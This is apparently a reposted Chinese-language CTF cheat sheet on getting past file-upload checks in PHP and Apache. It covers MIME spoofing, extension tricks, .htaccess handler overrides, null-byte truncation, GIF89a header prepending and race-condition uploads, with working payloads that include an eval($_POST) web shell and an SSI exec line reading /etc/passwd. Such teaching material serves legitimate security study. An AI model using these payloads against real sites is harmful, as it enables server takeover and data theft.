CTF 文件上傳


兩種校驗方式

  • 客戶端校驗(javascript校驗)
  • 服務端校驗

客戶端校驗

繞過方法

  • 抓包改包
  • 禁用JS

禁用JS

  • 如果是彈窗提示,打開控制台->網絡,上傳時沒有請求發出去,說明是在本地校驗
  • 火狐插件-yescript2
  • 老版本可以使用WebDeveloper

抓包改包

用bp抓包后直接改后綴名

服務端校驗

MIME類型檢測

MIME類型在html文件中使用content-type屬性表示

  • php舉例:
if($_FILES["upfile"]["type"]!="image/gif"){
    echo "只允許上傳圖片";
    exit;
}
  • 常見文件名對應的MIME類型

    • 擴展名:gif MIME類型:image/gif
    • 擴展名:png MIME類型:image/png
    • 擴展名:jpg MIME類型:image/jpg
    • 擴展名:js MIME類型:text/javascript
    • 擴展名:htm MIME類型:text/html
    • 擴展名:html MIME類型:text/html
  • 繞過方法

    • 抓包改content-type字段
    • 改文件名后上傳抓包后再改回文件名
    • 上傳正常文件改文件內容
    • 。。。

后綴名黑名單校驗

  • 繞過方法

    • 大小寫繞過,例如Php、PhP
    • 利用黑名單中沒有的,但是又能夠被解析的后綴名,例如php、php3、php4、php5、php7、pht、phtml、phps
    • 配合Apache的.htaccess文件上傳解析
      該文件可以理解為Apache的分布式配置文件,在一個特定的文檔中放置,以作用於此目錄及其所有子目錄。管理員可以通過Apache的AllowOverride指令來設置/etc/apache2/apache2.conf,默認是NONE,需要為ALL
    <FilesMatch "xxx.jpg">
    SetHandler application/x-httpd-php
    </FilesMacth>
    

    不能寫<?時使用偽協議

    AddType application/x-httpd-php .wuwu
    php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"
    
    name = getname(http request)//假如這時候獲取到的文件名是test.asp.jpg(asp后面為0x00)
    type = gettype(name)//而在gettype()函數里處理方式是從后往前掃描擴展名,所以判斷為jpg
    if(type==jpg)
    SaveFileToPath(UploadPath.name,name)
    

    在第一個后綴名后加一個空格(0x20),使用bp->repeater->hex,將其改成0x00

    • 超長文件名截斷上傳(windows 258byte | linux 4096byte)
      使用./或.
    • shtml
      當Web服務器為Apache和IIS(支持SSI功能的服務器)且開啟了SSI與CGI支持
      <!--#exec cmd="cat /etc/passwd"-->

后綴名白名單校驗

  • 配合Apache的解析缺陷
    Apache的解析漏洞主要特性是從后面開始檢查后綴,按最后一個合法后綴

內容頭校驗

  • 繞過方法
    在惡意腳本前加上允許上傳文件的頭標識

    GIF89a
    <?php phpinfo(); ?>
    

競爭上傳

  • 情景
    文件上傳后,檢測是否合法,不合法就刪除
  • 利用方式
    在刪除前訪問到上傳的文件
    <?php
    $file = 'web.php';
    $shell = '<?php eval($_POST["key"])?>';
    file_put_contents($file,$shell);
    ?>
    
    用bp同時上傳和訪問
  • 例子
    https://github.com/backlion/demo/blob/master/lfi_phpinfo.py

php崩潰導致tmp文件保留

當存在include的時候,傳入file=php://filter/string.strip_tags/resource=/etc/passwd會導致Segment Fault,這樣如果在此同時上傳文件,那么臨時文件就會被保存在/tmp目錄,不會被刪除。但是這時還需要知道tmp目錄下的文件名

過濾<?php

  • js標簽繞過,需要php小於7.0
<script language="PHP">
$fh=fopen("../flag.".strtolower("PHP"),'r');
echo fread($fh,filesize("../flag.".strtolower("PHP")));
fclose($fh);
</script>
  • PHP開啟短標簽即short_open_tag=on時,可以使用<?=$_?>輸出變量,在PHP 5.4 之后默認支持


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM